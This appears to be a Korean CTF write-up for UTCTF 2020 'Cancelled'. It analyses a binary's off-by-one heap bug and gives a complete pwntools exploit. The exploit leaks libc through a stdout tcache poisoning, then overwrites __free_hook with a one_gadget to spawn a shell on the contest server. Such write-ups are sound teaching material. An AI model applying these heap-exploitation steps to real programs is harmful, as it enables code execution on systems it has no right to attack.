일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 에라토스테네스의 체
- 이진트리
- tcache
- 수학
- 이분 탐색
- House of Orange
- 포맷스트링버그
- 백트래킹
- off by one
- 이진 탐색
- BFS
- RTL
- fsb
- 큐
- 스택
- 투 포인터
- OOB
- 완전 탐색
- 브루트 포스
- 분할 정복
- syscall
- BOF
- DFS
- 스위핑 알고리즘
- ROP
- 동적 계획법
- heap
- 연결리스트
- 다이나믹 프로그래밍
- 문자열 처리
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
utctf 2020 - Cancelled 본문
오랜만에 tcache 재밌게 풀게해준 문제.. 문제가 2.27 버전이길래 Ubuntu 18.04에서 풀었다.
보호기법은 전부 걸려있다.
IDA로 바이너리를 분석해보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v5; // [rsp+14h] [rbp-Ch]
setup(argc, argv, envp);
v5 = 0;
while ( !v5 )
{
prompt();
v3 = get_long();
if ( v3 == 1 )
{
add_person();
}
else if ( v3 == 2 )
{
cancel_person();
}
else
{
v5 = 1;
}
}
return 0;
}
|
setup은 setvbuf로 초기 세팅해주는 함수고,
prompt는 메뉴를 출력해주는 함수이다.
메뉴에는 단 두가지밖에 없는다.
1 - add_person()
2 - cancel_person()
이렇게 두가지가 있다.
각각을 분석해보자.
먼저 add_person()을 분석해볼텐데 맨 처음 IDA 의사코드가 뭔가 이상한점이 많아서
구조체를 하나 만들고 분석을 진행했다.
구조체 info는 다음과 같이 생겼다
그거를 적용시킨후 아이다를 보면 다음과 같이 보이는데
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
ssize_t add_person()
{
size_t v0; // rax
__int64 v2; // [rsp+0h] [rbp-10h]
v2 = get_index();
printf("Name: ");
fgets(people[v2].name, 0x14, stdin);
printf("Length of description: ");
v0 = get_long("Length of description: ");
people[v2].length = v0 + 1;
people[v2].address = malloc(v0);
printf("Description: ");
return read(0, people[v2].address, people[v2].length);
}
|
흐름을 보자면
people[25] 배열에 원하는 인덱스를 골라서
그 인덱스에 name에 이름 입력, 그리고 길이를 입력받아서 length자리에 길이 + 1 저장, 그리고 address자리에 malloc을 해서 주소를 저장한다음 read를 통해 길이 + 1만큼 address에 입력을 한다.
사실 누가봐도 취약점이 보인다.
heap에서 입력한 길이 + 1만큼 더 입력하게 되면서 물리적으로 붙어있는 청크의 size를 조작할 수 있게 된다. ( off by one )
내가 설명을 못해서.... 추가적인 설명을 더 해보자면
0x18 size 와 0x38 size 청크를 만들었을 때 힙에는저렇게 되어있는데
0x18 size는 0x19까지 read하기 때문에 free시키고 다시 할당할 경우
저렇게 0x41 size를 0x00 ~ 0xff 중 아무값으로 조작할 수 있게 된다.
다음으로 cancel_person() 함수를 분석해보면
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__int64 *cancel_person()
{
__int64 *result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]
puts("Who should we cancel?");
v1 = get_index();
printf("%s is cancelled.\n", &people[v1]);
free(people[v1].address);
result = &people[0].address;
people[v1].address = 0LL;
return result;
}
|
우리가 원하는 index에 있는 사람을 cancel시키는 함수이다.
person을 add할 때 할당한 주소를 free시키는데 free하고 나서 0 으로 바꾸기 때문에 double free는 못한다.
exploit 흐름
1. off by one으로 chunk를 overlap시킨다.
2. fd를 stdout으로 조작해서 ( 1/16 ) leak을 한다.
3. 한번더 다른 청크를 overlap해서 fd를 free_hook으로 바꾼다
4. one_gadget을 free_hook에 덮는다.
5. free시킨다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
|
from pwn import *
server = 1
if server:
p = remote("binary.utctf.live", 9050)
t = 0.05
else:
p = process('./pwnable')
t = 0.03
def choice(idx):
p.sendline(str(idx))
def get2long(idx):
p.sendlineafter("Index: ", str(idx))
def reg(idx, name, size, des):
global t
choice(1)
get2long(idx)
p.sendlineafter("Name: ", str(name))
p.sendlineafter("description: ", str(size))
p.sendafter("Description: ", str(des))
sleep(t)
def remove(idx):
choice(2)
get2long(idx)
reg(0, 'a'*0x8, 0x18, 'a'*0x8)
reg(1, 'a'*0x8, 0x418, 'a'*0x8)
reg(2, 'a'*0x8, 0x48, 'a'*0x40)
reg(3, 'a'*0x8, 0x18, 'a'*0x8)
reg(4, 'a'*0x8, 0x18, 'a'*0x8)
remove(0)
reg(0, 'a'*0x8, 0x18, 'a'*0x10 + p64(0) + '\x71')
remove(2)
remove(1)
reg(1, 'a'*0x8, 0x418, 'a'*0x8)
# reg(5, 'a'*0x8, 0x18, p32(0xf7dd0760))
reg(5, 'a'*0x8, 0x18, p16(0x5760))
reg(5, 'a'*0x8, 0x48, '\x60')
reg(6, 'a'*0x8, 0x48, p64(0xfbad1800) + p64(0)*3 + '\x00')
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print "leak : " + hex(leak)
libc_base = leak - 0x3ed8b0
print "libc_base : " + hex(libc_base)
free_hook = libc_base + 0x3ed8e8
print "free_hook : " + hex(free_hook)
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]
reg(7, 'a'*0x8, 0x20, 'a'*0x8)
reg(8, 'b'*0x8, 0x18, 'b'*0x8)
reg(9, 'b'*0x8, 0x418, 'b'*0x8)
reg(10, 'b'*0x8, 0x58, 'b'*0x8)
reg(11, 'b'*0x8, 0x18, 'b'*0x8)
reg(12, 'b'*0x8, 0x18, 'b'*0x8)
remove(8)
reg(8, 'b'*0x8, 0x18, 'b'*0x10 + p64(0) + '\x81')
remove(10)
remove(9)
reg(9, 'b'*0x8, 0x418, 'b'*0x8)
reg(13, 'b'*0x8, 0x18, p64(free_hook))
reg(13, 'b'*0x8, 0x58, p64(free_hook))
reg(14, 'b'*0x8, 0x58, p64(one_gadget))
remove(0)
p.interactive()
|
FLAG : utflag{j1tt3rbUg_iS_Canc3l1ed_:(}
'write-up > pwnable' 카테고리의 다른 글
zer0pts ctf 2020 - hipwn (0) | 2020.03.10 |
---|---|
utctf 2020 - zurk (0) | 2020.03.09 |
utctf 2020 - zurk (0) | 2020.03.09 |
utctf 2020 - bof (0) | 2020.03.09 |
Aeroctf 2020 - Shell Me If You Can (0) | 2020.03.01 |